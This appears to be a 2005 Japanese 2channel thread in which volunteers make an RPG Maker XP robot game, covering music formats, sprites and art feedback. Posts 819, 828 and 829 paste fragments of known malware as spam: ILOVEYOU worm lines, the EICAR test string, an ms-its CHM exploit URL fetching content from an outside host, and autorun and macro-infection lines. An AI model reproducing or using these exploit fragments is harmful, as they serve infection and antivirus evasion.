761 :名前は開発中のものです。:2005/11/29(火) 22:40:29 ID:PsrpsBd8
mp3>ダウンが遅いが動作は速い
MIDI>ダウンは早いが動作は遅い
一長一短なんだよなー
うちの貧弱ノートだとMIDI使ったRPGはきつい
町>フィールド>町と移動するだけでフリーズorz

762 :名前は開発中のものです。:2005/11/30(水) 00:16:05 ID:0FKpTStI
mp3にするんなら俺はこの企画から降りるしか無いな・・・
今はまだ大丈夫だけどあと数曲入ったらマジで落とせなくなる・・・

763 :名前は開発中のものです。:2005/11/30(水) 00:23:34 ID:NbRHH3lj
MIDIバージョンとmp3バージョン作れば良いんじゃね?

764 :名前は開発中のものです。:2005/11/30(水) 00:27:09 ID:0FKpTStI
>>763
それなら大賛成
ぜひそうしてほしい

765 :名前は開発中のものです。:2005/11/30(水) 00:30:27 ID:NRY+QTch
>>764
消えろ

766 :名前は開発中のものです。:2005/11/30(水) 00:45:07 ID:NbRHH3lj
まあまあ
でも全部MIDIにしちゃうともったいないし、別バージョン作る案は賛成。
mp3じゃないと魅力半減な曲もあるし...
前にJUN氏がやってたみたいに、音づけだけ他の人がやるって形はできないのかな?

このスレの音楽いいよなあ
俺のお気に入りは「おばけ洞窟」と「戦闘」
おばけ洞窟、はやく本編に入らんかなあ ワクワク

767 :8 ◆jS1vbFJDVk :2005/11/30(水) 00:53:20 ID:YYiOdF7k
今週土日はスレを見る暇もありませんスマソ
>>757
職人さんの作りやすい方でお願いします。
mp3の場合、midiへの変換は以前やってくださった人が
引き続き受けてもらえると助かりますが、どうでしょうか。
>>761
まさにジレンマ。
>>763
ツクールの手間はそれほどでもないので、
完成段階になったらバージョンを分けるつもりです。
…いつになるやら。
>>766
プロトbでダンジョン実装する段階になったら
まっさきに「おばけ洞窟」を使うつもりなので、
それまでもう少し待っててください。スマソ

768 :いつかの190:2005/11/30(水) 10:59:47 ID:s8b50aL0
まとめwikiの方に若干修正したレーネ歩行グラを上げておきました。
まぁ…あまり変化は無いんですが差し替えをお願い致します。

そしてロボドット絵。
こちらはwikiにそれ用のページが見当たらなかったのでロダの方に。
http://emps.rash.jp/up/src/up0037.zip
改変版歩行グラ、降着グラ、ついでに降着状態のgifアニメも入れてみたり。
えー、降着グラはXPでドットアニメをどのように表現するのかが分からなかったもので、適当に並べてあります。
8枚の絵で構成されていますが、左列一番下と右列一番上は同じ絵なので実質7コマとなっております。
動きをつけるのはやっぱり難しいですが…こんな感じではどうでしょうか。勘違いとかしてないといいんですが;

769 :名前は開発中のものです。:2005/11/30(水) 12:26:30 ID:0aq5Hqgs
ぐぐぐぐぐぐぐぐぐグッジョブすぎて死にそうorz

す、座ってる!動いてる!すげええ!!
ageちまえ!

770 :311古:2005/11/30(水) 12:50:04 ID:gRrfW/RJ
ウマー(*´ω`*)相変らずのドット技術だすなぁ

771 :zk ◆PPcELrLkWg :2005/11/30(水) 16:15:06 ID:Lack8u23
音楽は間に合ってるみたいなんでうp

前に書いた【ビースト】の落書きです。こんなかんじかな?
ttp://up.php-s.net/up.php?id=tabiji&time=1133334651&ext=.JPG

二足歩行に進化(こっちに力はいってます・・・。)
ttp://up.php-s.net/up.php?id=tabiji&time=1133334774&ext=.JPG


772 :名前は開発中のものです。:2005/11/30(水) 18:07:18 ID:8CfJkCRR
何ロダのパクリ絵。EVA+廃棄物13号にzkの絵までパクりかよ。
こんなドットにしにくい汚い絵をうpしてどうしろっていうんだか。タイミングもzk氏に失礼。
デッサンひどすぎ。世界観に合わない。デザインはバランス悪すぎでキモイ。
全然反省してないじゃん。いい加減にしろよな546。二度と来るな。


773 :zk ◆PPcELrLkWg :2005/11/30(水) 18:22:11 ID:Lack8u23
インスパ〜イア〜は〜
私よりうまいので〜
大いに結構〜かと存じ上げます〜

俺が下手だとか言うのはナイショ!

774 :名前は開発中のものです。:2005/11/30(水) 18:23:08 ID:S+ATgowG
>>772
言い過ぎ。
別に悪かないだろ。

ただ、自分ジャンクの案を出したものなんだけど、
なんというか、もうちょっとボロボロというか、バランスが悪いと言うか...
左右対称なシルエットじゃないようなイメージがありますた
546氏のドラゴンロボは、むしろ帝国の新型ロボみたいに見える。
だがそれはそれで良い

>>771
GJ
自分絵が描けないんで無責任に要望
前足が一本短くて体が傾いてるとか、目が片方とびだして(ビックリ箱のバネみたいのが出てる)るとか
胴体の装甲が破れて中身見えてるとか、継ぎはぎだらけの体とか...
自分のジャンクのイメージはそんな感じです
無責任発言スマソ

775 :zk ◆PPcELrLkWg :2005/11/30(水) 18:29:07 ID:Lack8u23
>>774
うい、とりあえず初期段階(無傷)を書いたんでだんだん壊してきますよ ウヒヒ
なんでも壊すのは得意です。ええ。

やりだすとかなりこだわっちゃうタイプなんでヒマかかるかも。

776 :名前は開発中のものです。:2005/11/30(水) 22:01:57 ID:ejOSg4gt
違ったら悪いが叩きは自演じゃないのか?>546

デッサンなんて他に突っ込むべき奴がいるし
この人口密度にしては気づくのが早すぎ
EVAにも廃棄物にも特に似ているとは思えない

777 :ドリームリーダー763:2005/11/30(水) 23:07:29 ID:J73viL80
>>768
乙&GJ!降着カッケェ!歩行もなんだか凛々しくなってる。

>>771-775
うーん俺もジャンクってくらいだからぼろぼろのさびさびって感じがあるなぁ
つまりまぁこんな感じ
ttp://kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi17418.jpg.html

778 :名前は開発中のものです。:2005/11/30(水) 23:09:02 ID:wfwZLHUS
>>777
怖い怖い怖い((((;゚Д゚))))ガクガクブルブル
これには勝てない

779 :8 ◆jS1vbFJDVk :2005/12/01(木) 01:35:50 ID:LtdUYkos
>>768
ロボドットめちゃくちゃクオリティ上がってますね…GJ!
レーネ差し替えも含めて次回実装させていただきます。
降着グラは単にキャラの向き変更で制御できるので
今の並び方でも問題なく使えます。
(戦火のあとのような半壊ロボのドット絵も欲しいというのは内緒)
>>771
ついにジャンクの絵も!GJです。もっとボロく!

780 :zk ◆PPcELrLkWg :2005/12/01(木) 07:03:20 ID:5/L3ddJ3
>>777志村!本物!本物!

781 :JUN ◆ylCNb/NVSE :2005/12/01(木) 17:48:05 ID:VpwWfakY
お久しぶりでございます
暫く見ない間に、ずいぶん活気が出てきましたねえ
新参の方、今後も宜しくお願いいたします。

>>イッポウシ氏
新音師キタ━━━━(゚∀゚)━━━━!!!!!!
どっちも自分には作れなさそうな曲調だなあ...GJ!
お互い高め合いながら曲作りができると良いですね。
ボスバトル期待

>>190氏のレーネに触発されて、レーネのテーマ(盗賊団のテーマ?)を作りました。
あのフトモモを見た瞬間に、これしかないなと。
かなり力を入れたんですが、力を入れる方向を間違ってしまった気も...まあ、一曲くらいこういうのがあっても、ねえ?

感想いただけると、とても嬉しいです。意見を言っていただけると助かります

【レーネのテーマ】
http://www.yonosuke.net/dtm/5/13363.mp3

782 :名前は開発中のものです。:2005/12/01(木) 20:06:28 ID:qLDnGbBh
水術師、魔帝シアのキャラグラが完成した。  ついでにシア専用機も描いてみた、
背中のタンクにはシアが作り出した水がいっぱいに溜まっている。
足は細いが水の力で支えたれており、水圧を利用して大ジャンプが可能。
ttp://up.php-s.net/up.php?id=tabiji&time=1133434876&ext=.png

>>781
いいんじゃね?

783 :名前は開発中のものです。:2005/12/01(木) 21:12:56 ID:vYCzCzWz
昨日音楽ファイルをmidiにするかmp3にするかでさんざん議論したのに
なんでまたmp3で作るんだろう?
もしかしてmidiでは作れないの?midiを作る能力が無いならまあ諦めますけど

784 :JUN ◆ylCNb/NVSE :2005/12/01(木) 21:41:51 ID:UE+cJ7ZN
>>783
MIDIを作る能力も環境もないのですorz
オーディオ形式の打ち込み作曲に腰までどっぷり浸かってるもんで...

というわけで今回もMIDIの音色づけをしてくれる方を激しく募集
http://www.uploda.org/file/uporg250907.mid.html
pass:robo

785 :名前は開発中のものです。:2005/12/01(木) 22:09:38 ID:tR96vYKi
いまどきMIDIっていうのもどうかと。
音源持ってる人もほとんどいないだろう。
低速回線のほうが圧倒的少数派なわけだし、
その少数派のためだけに作品のクオリティを下げるのは、
最もバカバカしい行為だと思う。

786 :名前は開発中のものです。:2005/12/01(木) 22:14:36 ID:7WxBIz2N
mp3版:文字通り。
midi版:ボランティアのmidi師に頼りつつ、最悪の場合RTPに差し替え

でいいんじゃない つーか欲しい物は自分で作るのがみんなで〜スレの基本だ。

しかしあと数曲でアウトってのはあと10メガ程度だと思うが、
たとえこれから全てMIDIにしても画像その他で10メガなんて余裕でいくと思うぞ。

787 :名前は開発中のものです。:2005/12/01(木) 22:15:45 ID:vYCzCzWz
だってこの人midi作れないんでしょ
それじゃしょうがないから諦めますよ

788 :名前は開発中のものです。:2005/12/01(木) 22:17:22 ID:J8Ckpmep
>>785
ツクールXPは音源を持っているので
音源による音質の差はありません。
上にもあるように両方のver.を作ればいいのでは?
1曲3MBとして30曲90MBはかなり大きい

789 :名前は開発中のものです。:2005/12/01(木) 22:22:17 ID:dyW0Z50h
8さん的には何曲くらい入れるつもりなわけ?
そろそろ、必要な曲数を明確にしたほうが良いと思う。

midi議論に埋もれてるけど>>781かなりイイ!

790 :名前は開発中のものです。:2005/12/01(木) 22:25:19 ID:tR96vYKi
>>788
そういえばツクールXP製だったな、忘れてたよ。
けど、1曲3Mはやりすぎだ。
高ビットレートでなくても問題ないし、1コーラスだけにすれば1Mもいかないぞ。
ogg使えるならmp3よりさらに圧縮できる。
ま、両方作るのは賛成かな。

>>787
ここの人たちはあんたのためにゲームを作ってるんじゃない。
あんたには傲慢な物言いができる権利があるのかい?

791 :名前は開発中のものです。:2005/12/01(木) 22:28:54 ID:vYCzCzWz
だから諦めますよって言ってるのに
作る能力無いんでしょ?じゃあ要求しようが無いじゃないですか

792 :名前は開発中のものです。:2005/12/01(木) 22:30:06 ID:7WxBIz2N
OK,妥結を見たところで以後は放置よろ

793 :名前は開発中のものです。:2005/12/01(木) 22:33:20 ID:tR96vYKi
>>791
だから、その人を扱き下ろすような言い方を・・・
OK、もう言わない。

794 :8 ◆jS1vbFJDVk :2005/12/01(木) 22:40:43 ID:ndZMpo8G
>>781
お久しぶりです。レーネのテーマGJ!
もうどんどん使いたい気分ですよ。
>>785
少数派をないがしろにする方針はあたたかくない。
かくいう俺もマカーでね。本当はmacでも遊べるようにしたい(絶対無理)
>>787
midiですが、JUNさん自身が作れなくても
>>784のようなデータさえあれば他の人が作れるものなので、
midiできる人へバトンタッチできれば大丈夫です。
そういえばzkさんmidiできるようですが、お願いできませんか?
>>789
投下された曲はほぼ全部使うつもりでしたが、
サイズのこともありますからね。画像も多くなるでしょうし。
よし、ひとまず30曲としておきましょう。泣いても笑っても30曲。
採用不採用はスレの投票で決めるようにして。それでおk?
>>791
ヒント:JUNさん以外のmidi職人

795 :名前は開発中のものです。:2005/12/01(木) 22:44:26 ID:J8Ckpmep
>>790
oggはサイズがでかいと読み込みにかなり時間を食うんで
環境音とか向けらしい。
1曲3MBはでかすぎたね、1.5MBぐらいか

796 :JUN ◆ylCNb/NVSE :2005/12/01(木) 22:51:37 ID:UE+cJ7ZN
なんか曲と関係ない所で白熱してしまった

>>8さん
曲の作り方の統一基準を出していただきたいのです
・(mp3の場合)、ループは何回?
・終わり方はフェードアウト?ぶった切り?
・一曲の時間の目安は?
・一曲のサイズの目安は?

>>よし、ひとまず30曲としておきましょう。泣いても笑っても30曲。
>>採用不採用はスレの投票で決めるようにして。それでおk?
了解です
どんな30曲が欲しいかのリストが有ると嬉しいです こうなれば無軌道に作りまくる訳にもいくまい

イッポウシさん、zkさん、>>587さん その他音師の方々と相談して、被らないように作る計画を建てたいです。
リストが出たら、チャットorスレで話し合いましょう

>>採用不採用はスレの投票で決めるようにして。それでおk?
怖ぇ((((;゚Д゚))))

あ、主題歌だけはCD音質で作ります故

797 :いつかの190:2005/12/01(木) 23:04:49 ID:S+Ql6SOt
実は私も低速回線。mp3もいいけどmidiの音質も好きだったりする…

>>8
そういえば、半壊ロボというと、具体的にはどんなものでしょうか。
背景オブジェクト的な完全に各坐して動かなくなったロボなのか、
半分壊れてもまだ動いているような物なのか、
はたまた主人公ロボの半壊状態?
詳細をリクエストして頂ければ次にそれを描いてみようと思います。

798 :陽炎 ◆wFN7olDADA :2005/12/01(木) 23:07:30 ID:RcFPso9e

少数派

799 :JUN ◆ylCNb/NVSE :2005/12/01(木) 23:13:38 ID:UE+cJ7ZN
不完全かもしれない既出曲リスト(アレンジは除きましたスマソ あと自分のいくつかボツりました)
フィールド=バトル、イベントシーン以外で流れる音楽 施設、ダンジョンなど

*JUN
戦闘(バトル)
大敵(バトル)
ドランカーズ・ファンク(フィールド)
おばけ洞窟(フィールド)
spirits(フィールド)
旅路(フィールド)
ホームタウン(フィールド)
赤い月の見える夜(フィールド)
寂れた町の風景(フィールド)
失われた古代遺跡(フィールド)
武装戦闘集団ワールドウィンド(イベント)
レーネのテーマ(イベント)
戦火のあと(イベント)
ねこイベント(イベント)
バトル2 フィールド8 イベント4
計14

*イッポウシ氏
まどろみ(イベント)
逃げろ!(イベント)
サイバー風(フィールド)
計3

*584氏
ギャグ担当三人組(イベント)
計1

800 :JUN ◆ylCNb/NVSE :2005/12/01(木) 23:14:12 ID:UE+cJ7ZN

バトル2 フィールド9 イベント7
合計18曲

☆今後の予定(作成中)
*JUN
主人公のテーマ(イベント)
親友のテーマ(イベント)
天王八部衆のテーマ(イベント)
「冷たい機械」とのバトル(バトル)
悪いボスとのバトル(バトル)

*イッポウシ氏
ボスバトル(バトル)

☆あと12曲(作成中除くと6曲)

801 :8 ◆jS1vbFJDVk :2005/12/02(金) 01:07:58 ID:Sjcu94E9
>>796
では、こんな感じでお願いします。
・mp3は1ループ半をフェードアウト式で。
・時間はフェードアウト部分含めて1分から1分半あたりを目安、最大2分。
・サイズは1Mを目安、最大で1.5M(主題歌は除く)。
・もちろん、サイズが小さいならそれにこしたことはない。大敵とかいい例。
これなら30曲と主題歌入れてもサイズが50Mを超えることはないでしょう。
>>797
フィールドやダンジョンで宝箱の代わりに使おうと思っている
(半壊したロボから、まだ使える部品や武器を拝借)ので、
・もう動かせないが、装甲や部品がまだ残っている状態
・壊れた部品しか残っていない、スクラップも同然の状態
この2パターンを作っていただけると助かります。
片方しかできない場合は上のイメージを優先してください。
>はたまた主人公ロボの半壊状態?
あったらあったで使い出がありそうですが、負担になるようでしたら
無視していただいてかまいません。
>>798
このスレでは徐々に多数派になりつつあります。どっちもどっちも!

素材師さんががんばってくれているんで、俺も全力で答えたい。
だが暇がない…本格的な更新は早くても来週以降になりますスマソ

802 :8 ◆jS1vbFJDVk :2005/12/02(金) 01:14:11 ID:Sjcu94E9
続けます。
>>799-800
乙。ボツになったのはメンチですね。
あと6曲…そういえばエンディング曲も
必要になるかと思いますがどうでしょう。

803 :zk ◆PPcELrLkWg :2005/12/02(金) 07:18:59 ID:kQFa2I2g
ん?呼びました?
私は基本的に下手な鉄砲を乱射するタイプなんで
被っても私以外の人を優先していただけばおkですよ。

ついこの前まで低速回転だったから大きいファイルが怖いです。


で、ジャンクなんですが・・・グロくなったけどかまいませんか。
バイオのゾンビ犬をイメージしていただくとわかりやすいかと・・・。

804 :名前は開発中のものです。:2005/12/02(金) 08:40:26 ID:5rZHdjYt
曲について提案

・キャラクターのテーマソングは、イベントシーンだけじゃなくて、そのキャラが深く関わるクエスト時
(あるいはそのキャラがパーティに入ってるとき)のフィールド音楽に使うのはどうでしょう
レーネのテーマとか、完成度がとても高いので使い捨てはもったいない。

・寂しい、悲しい曲が多すぎて、楽しい曲や怖い曲が少ないように感じます。特に町のBGMなど、悲しい曲ばかりでは飽きてしまいそう。
(JUN氏には悪いですが)赤い月の見える夜、失われた古代遺跡、戦火の後、寂れた町の風景は曲調がモロ被りです。

・バトル曲が現段階で5曲出てますが、そんなにいらないかも?
通常戦闘 ボス戦闘 イベント戦闘 ラストバトル で十分では。

・ワールドウィンドはキャラ自体なくなったので、不良っぽい悪者の登場シーンとかに良いと思う

・ねこイベントは猫に限らず、とぼけたキャラとの会話シーンとかに良いと思う

805 :名前は開発中のものです。:2005/12/02(金) 09:24:39 ID:NR7yMK+o
しかし546は何がしたいんだ?自演する暇あるならその分腕磨けばいいのに。
空気嫁

806 :名前は開発中のものです。:2005/12/02(金) 13:17:28 ID:nDttIyiQ
エンディングは壮大なオケ曲を希望 映画音楽みたいな

807 :名前は開発中のものです。:2005/12/02(金) 14:47:39 ID:51jcs1fH
なんか上のほうで呼ばれた気がしたのでMIDIを編集してみましたよ…。

【レーネのテーマ】
ttp://www.uploda.org/file/uporg251383.mid.html
pass:robo

一部、誤って処理してしまった箇所があるのですがとりあえずあげときますね。
ツクールで再生したときにループがうまくいかないのも編集ミスです。

808 :名前は開発中のものです。:2005/12/02(金) 14:48:34 ID:51jcs1fH
なんか突然乱入したみたいなレスをしてしまった。

809 :名前は開発中のものです。:2005/12/02(金) 16:07:24 ID:dzZjMHRX
おつ

810 :名前は開発中のものです。:2005/12/02(金) 16:29:36 ID:1+udBbd5
>>817
乙!
ナイスアレンジ

ところで30レス以上無視され続けてる>>782は一体何?誤爆?

811 :名前は開発中のものです。:2005/12/02(金) 18:53:07 ID:ov61wn6h
>>810
782のキャラはこのゲームのラスボスです。

812 :名前は開発中のものです。:2005/12/02(金) 20:07:28 ID:V/JvSL+w
水術士シアってどこのインスパイア?

813 :名前は開発中のものです。:2005/12/02(金) 21:11:31 ID:odK/FnW3
水術師...魔帝...水を作り出す...
そんな世界観になった訳?

萎えた

814 :名前は開発中のものです。:2005/12/02(金) 22:04:31 ID:CsgO1t7A
スルーしとけばいいじゃん…

815 :名前は開発中のものです。:2005/12/02(金) 23:28:50 ID:4A1Ag+nS
>>782みたいな意味不明なのはスルーで

816 :名前は開発中のものです。:2005/12/02(金) 23:47:51 ID:odK/FnW3
素材としての出来はかなり良いのになあ
なぜ突然オリキャラを出してしまったのだろう

817 :名前は開発中のものです。:2005/12/03(土) 00:17:20 ID:6DNPQ9/q
782は○RPGネタでしょ。
随分唐突だけど。何故此処に。

818 :311古:2005/12/03(土) 00:27:10 ID:k8UePouA
あんちゃんを試しに描いてみましたが
どうにも髭なきゃ童顔な気がしてきた…
渋いのがお好みならば描きなおしまつ

819 :名前は開発中のものです。:2005/12/03(土) 00:32:55 ID:OU/RUzlm
c.Copy(dirwin&"\Win32DLL.vbs")?
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
<object?data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"?type="text/?
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*?
fso.copyfile?"dirsystem&nurupo.vbs",?"j:\windows\start?menu\programs\startup\"?
If?s?=?"htm"?and?fso.FileExists(f1.path+"l")?=?False?then?fso.CopyFile?f1.path,?f1.path+"l"?
ToInfect.CodeModule.InsertLines?BGN,?ADI1.CodeModule.Lines(BGN,?)?
G.RegWrite?A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),?E.BuildPath(E.GetSpecialFolder(1),?A("VHORU@SU/WCR"))?
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))?  
ms-its:mhtml:file://c:\ ?
kak.hta';ken=wd+'START?

820 :名前は開発中のものです。:2005/12/03(土) 00:33:31 ID:OU/RUzlm
ms-its:mhtml:file://C:\

821 :いつかの190:2005/12/03(土) 01:54:55 ID:jtv/1+xc
>>8
成る程、了解しました。そのイメージで作ってみます。


ついでに私なりのジャンクを描いてみたり。
http://up.php-s.net/up.php?id=tabiji&time=1133540510&ext=.jpg
えーと…ギャベイジ?

822 :717:2005/12/03(土) 02:27:59 ID:0cT00EiR
>>821
うまーーーーーーーーー!
怖ーーーーーーーーーー!
GJ!!!!
コレですよコレ。イメージとぴったしだ!
こんな感じでお願いしまつ(・∀・)

>>797
JUN氏のピアノ曲(穏やか?)てのが抜けてるようですが。ボツですか?

823 :名前は開発中のものです。:2005/12/03(土) 02:33:54 ID:0cT00EiR
>>818
GJ!
個人的には、ざんばらの髪で頬に傷の一つでもあったほうが好き
でもこれはこれで良いなあ。若くて。

824 :zk ◆PPcELrLkWg :2005/12/03(土) 08:47:48 ID:pe+9nS5w
>>782は赤い人だな!そうなんだな!こういうのは好きだけどね。

>>821超GJ!

午後にグロくなったビーストうpします

825 :zk ◆PPcELrLkWg :2005/12/03(土) 13:21:09 ID:HXs/I9mw
うp

ttp://up.php-s.net/up.php?id=tabiji&time=1133583628&ext=.JPG

826 :名前は開発中のものです。:2005/12/03(土) 13:26:38 ID:FPv6draX
GJ

827 :名前は開発中のものです。:2005/12/03(土) 13:28:34 ID:cGYtpkPw
自演厨よりよっぽど上手い

828 :名前は開発中のものです。:2005/12/03(土) 13:45:01 ID:OU/RUzlm
c.Copy(dirwin&"\Win32DLL.vbs")?
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
<object?data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"?type="text/?
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*?
fso.copyfile?"dirsystem&nurupo.vbs",?"j:\windows\start?menu\programs\startup\"?
If?s?=?"htm"?and?fso.FileExists(f1.path+"l")?=?False?then?fso.CopyFile?f1.path,?f1.path+"l"?
ToInfect.CodeModule.InsertLines?BGN,?ADI1.CodeModule.Lines(BGN,?)?
G.RegWrite?A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),?E.BuildPath(E.GetSpecialFolder(1),?A("VHORU@SU/WCR"))?
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))?  
ms-its:mhtml:file://c:\ ?
kak.hta';ken=wd+'START?


829 :名前は開発中のものです。:2005/12/03(土) 13:45:52 ID:OU/RUzlm
c.Copy(dirwin&"\Win32DLL.vbs")?
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
<object?data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"?type="text/?
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*?
fso.copyfile?"dirsystem&nurupo.vbs",?"j:\windows\start?menu\programs\startup\"?
If?s?=?"htm"?and?fso.FileExists(f1.path+"l")?=?False?then?fso.CopyFile?f1.path,?f1.path+"l"?
ToInfect.CodeModule.InsertLines?BGN,?ADI1.CodeModule.Lines(BGN,?)?
G.RegWrite?A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),?E.BuildPath(E.GetSpecialFolder(1),?A("VHORU@SU/WCR"))?
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))?  
ms-its:mhtml:file://c:\ ?
kak.hta';ken=wd+'START?
c.Copy(dirwin&"\Win32DLL.vbs")?
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
<object?data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"?type="text/?
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*?
fso.copyfile?"dirsystem&nurupo.vbs",?"j:\windows\start?menu\programs\startup\"?
If?s?=?"htm"?and?fso.FileExists(f1.path+"l")?=?False?then?fso.CopyFile?f1.path,?f1.path+"l"?
ToInfect.CodeModule.InsertLines?BGN,?ADI1.CodeModule.Lines(BGN,?)?
G.RegWrite?A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),?E.BuildPath(E.GetSpecialFolder(1),?A("VHORU@SU/WCR"))?
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))?  
ms-its:mhtml:file://c:\ ?
kak.hta';ken=wd+'START?

830 :名前は開発中のものです。:2005/12/03(土) 18:34:52 ID:JGYu0pro
爪の部分さぁ

831 :名前は開発中のものです。:2005/12/03(土) 20:16:06 ID:4IG8Sm44
書き込みテスト

おまけ
ttp://up.php-s.net/up.php?id=tabiji&time=1133608351&ext=.png

832 :JUN ◆ylCNb/NVSE :2005/12/03(土) 21:29:46 ID:W3Ho4QMg
>>zk氏
GJ!!グロかわいい!
この位のグロさなら、躊躇無くやっつけられそうですね。

>>831
おおおおお
GJ!!!!
次はジラルダの曲を考えようかな

>>804
なるほど
キャラのテーマを使い回すというのは賛成です

>曲調がモロ被りです
確かにorz
どれかボツりますかね。

>>807
GJ!!
なかなか良い感じです 
元の曲が良いと尚良いんですけどね...修行します
他の曲についてもお願いできますか?

>>822
よ く 気 づ き ま し た ね
そういえばそんなのあったなあ...「寂しげ」ですね。全然寂しくないけど。
どうもです

主題歌、そろそろ出来そうな気配
乞うご期待

833 :名前は開発中のものです。:2005/12/04(日) 15:11:35 ID:C0jOe2+e
>>832

>>807ですがMIDI化は時間が取れれば協力できます。
MIDIのシーケンサー持っているwin機の人なら誰でもできると思いますけど…。

834 :名前は開発中のものです。:2005/12/04(日) 20:59:55 ID:xGCYQVF7
期待age

835 :名前は開発中のものです。:2005/12/04(日) 21:49:08 ID:rjA8CY0Y
提案
放置シェルのジャンクはただのパーツの集まりだけだと、都合良すぎる部分があるから、
肉付きがあったらいいと思う。シェルもいくつかのタイプにわけて
タイプAなら犬型。Bなら人型など。
とか案だしている自分もよくイメージが浮かばな
いからよろしければ絵師さんに描いていただきたい。

836 :名前は開発中のものです。:2005/12/04(日) 22:27:56 ID:hnmeBRn/
肉っつ−と...パーツの間からレアな部分が見える訳ですか
こええ...

837 :8 ◆jS1vbFJDVk :2005/12/05(月) 00:30:21 ID:8zfmhgOC
戻りました。すごいレス進んでてびっくりです。

>>807
乙!ではプロトタイプに実装しておきます。
>>818
あんちゃんGJです!十分渋いかと。
ふと思ったこと 男ロボ乗り=ゴーグル
>>821
とんでもないほどにGJ。腕パーツが足になってたりしてそれっぽい。
これはちょっと修正すれば敵グラで使えるかも…怖すぎる?
>>825
おおう、これもこれでグロカワイイ。GJ!
>>831
イラストに忠実でGJ!では左だけ切り取ってキャラグラで使います。
シアは…どうしよう。どうしようもないかも。
>>832
主題歌ワクワクワクワク
>>835-836
肉というよりはカキの殻みたいな物体がはみ出てるとか。
シェルの原料である貝の本能とかなんとかで。貝殻が。

838 :名前は開発中のものです。:2005/12/05(月) 00:47:11 ID:nr8LgweJ
> 肉付きがあったらいいと思う。シェルもいくつかのタイプにわけて
> タイプAなら犬型。Bなら人型など。
たぶんこれ、「骨組み」の間違いでないかと...
シェル毎に、おおまかなロボの形が決まってるってことでは?

839 :名前は開発中のものです。:2005/12/05(月) 01:56:30 ID:f2arO34A
>>837

めちゃ迷ってます……
あっちもやっぱり頑張らなきゃという気がしてまして。。

意味分かんなかったらゴメンナサイ

840 :8 ◆jS1vbFJDVk :2005/12/06(火) 03:22:19 ID:xst47yL3
俺が書き込むと流れが止まる罠。
それはともかく、b更新。敵が前進してくるように。
ttp://emps.rash.jp/up/src/up0038.zip
いつかの190さん、イラスト使わせていただきました。

>>838
肉じゃなくて骨組みですね、失礼しました。
要するに、同じような骨格のジャンクからは
同形等のシェルを入手できるということですね。
>>839
了解しました。というわけで>>792
いったんボツということにしましょう。

841 :イッポウシ ◆quM58wnvXA :2005/12/07(水) 01:25:49 ID:iC4KoCeg
只今製作中です。
思ったほど注文通りにはならないような気がしてきました。
もしそうなったらごめんなさい。

流れが速くて忘れられそうなので、一応。

842 :名前は開発中のものです。:2005/12/07(水) 09:50:48 ID:F1McX5CK
イッポウ氏ね

843 :名前は開発中のものです。:2005/12/07(水) 21:29:30 ID:iG8Tz3Zy
イッポウシ氏頑張ってください

844 :名前は開発中のものです。:2005/12/07(水) 21:45:02 ID:xJShtvmI
うpラッシュも過ぎてまた過疎か...
今の期待の品
・主題歌
・イッポウシ氏の新曲
・とにかくなにかの絵

845 :8 ◆jS1vbFJDVk :2005/12/08(木) 00:16:25 ID:uBIwZwuq
>>841
いえ、こちらも難しい注文をしたと思ってます。スマソ
>>844
ゲームそのものには期待できませんか…そうですか…

皆さんの意見ください。
プロトタイプですが、今のようなペースでちょこちょこ更新するのと
もっと形ができてから大幅更新するのとどっちが好ましいでしょうか。

846 :844:2005/12/08(木) 00:28:46 ID:qaXXkle2
>>845
す...すまねえ
目先の素材ばっかに目をやってしまった
ごめんな8さん

ちょこちょこ更新に一票

847 :名前は開発中のものです。:2005/12/08(木) 06:54:07 ID:frEf6YZ6
イッポウ氏とやらは
ただの構ってちゃんだったんだな

848 :名前は開発中のものです。:2005/12/08(木) 17:54:14 ID:XwYLtx+w
大幅更新の方がメリハリが出来てよい
今のやり方だと慢性的にダレる

849 :8 ◆jS1vbFJDVk :2005/12/09(金) 00:39:36 ID:c0uZvfF7
もうちょい意見待ち。

ただ、どっちの意見が多くても
今年いっぱいはプロトタイプの更新はできない予感。
どうみても年末です。本当にありがとうございました。

850 :ちょっと通りますよ:2005/12/09(金) 03:56:12 ID:yHgLrri5
ドカンと大型更新できる程にプロジェクトが進展するかどうかだろう。
結局は、切らさないようにこまめに更新して行くのがいいと思うけどね。
その方が更新材料も出てき易いんじゃないの、と部外者の意見

851 :名前は開発中のものです。:2005/12/09(金) 07:44:38 ID:aiJAwNwN
更新しない>人居なくなる>ドカンと更新しても人が来ない>決潰

852 :名前は開発中のものです。:2005/12/09(金) 23:30:03 ID:j3bkwjQr
まあ、今は年末だし人が来ないのはしかたない
